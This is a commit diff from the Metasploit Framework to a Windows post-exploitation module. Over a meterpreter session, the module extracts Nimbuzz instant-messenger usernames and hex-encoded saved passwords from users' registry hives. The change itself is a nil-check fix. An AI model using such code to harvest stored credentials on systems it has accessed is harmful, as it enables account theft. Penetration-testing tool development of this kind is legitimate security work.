Chk nil for user in case it returns nil, but password doesn't
git-svn-id: file:///home/svn/framework3/trunk@13880 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
f1f1d16f8b
commit
39049a71ca
|
@ -17,21 +17,21 @@ class Metasploit3 < Msf::Post
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super(update_info( info,
|
||||||
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
|
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module extracts the account passwords saved by Nimbuzz Instant
|
This module extracts the account passwords saved by Nimbuzz Instant
|
||||||
Messenger in hex format.
|
Messenger in hex format.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
|
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
|
||||||
'SecurityXploded Team', #www.SecurityXploded.com
|
'SecurityXploded Team', #www.SecurityXploded.com
|
||||||
],
|
],
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Platform' => [ 'windows' ],
|
'Platform' => [ 'windows' ],
|
||||||
'SessionTypes' => [ 'meterpreter' ]
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username")
|
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username") || ""
|
||||||
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")
|
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")
|
||||||
|
|
||||||
next if hpass == nil or hpass == ""
|
next if hpass == nil or hpass == ""
|
||||||
|
|
Loading…
Reference in New Issue